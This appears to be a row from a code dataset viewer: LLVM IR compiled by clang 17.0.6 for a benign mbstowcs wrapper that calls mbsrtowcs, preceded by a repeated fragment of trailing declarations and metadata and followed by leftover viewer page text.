; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: write)
declare void @llvm.memset.p0.i64(ptr nocapture writeonly, i8, i64, i1 immarg) #1
declare i64 @mbsrtowcs(ptr noundef, ptr noundef, i64 noundef, ptr noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nocallback nofree nounwind willreturn memory(argmem: write) }
attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmptd23y5h3.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
%struct.TYPE_3__ = type { i32 }
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i64 @mbstowcs(ptr noalias noundef %0, ptr noalias noundef %1, i64 noundef %2) #0 {
%4 = alloca ptr, align 8
%5 = alloca ptr, align 8
%6 = alloca i64, align 8
%7 = alloca %struct.TYPE_3__, align 4
store ptr %0, ptr %4, align 8
store ptr %1, ptr %5, align 8
store i64 %2, ptr %6, align 8
call void @llvm.memset.p0.i64(ptr align 4 %7, i8 0, i64 4, i1 false)
%8 = load ptr, ptr %4, align 8
%9 = load i64, ptr %6, align 8
%10 = call i64 @mbsrtowcs(ptr noundef %8, ptr noundef %5, i64 noundef %9, ptr noundef %7)
ret i64 %10
}
; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: write)
declare void @llvm.memset.p0.i64(ptr nocapture writeonly, i8, i64, i1 immarg) #1
declare i64 @mbsrtowcs(ptr noundef, ptr noundef, i64 noundef, ptr noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nocallback nofree nounwind willreturn memory(argmem: write) }
attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.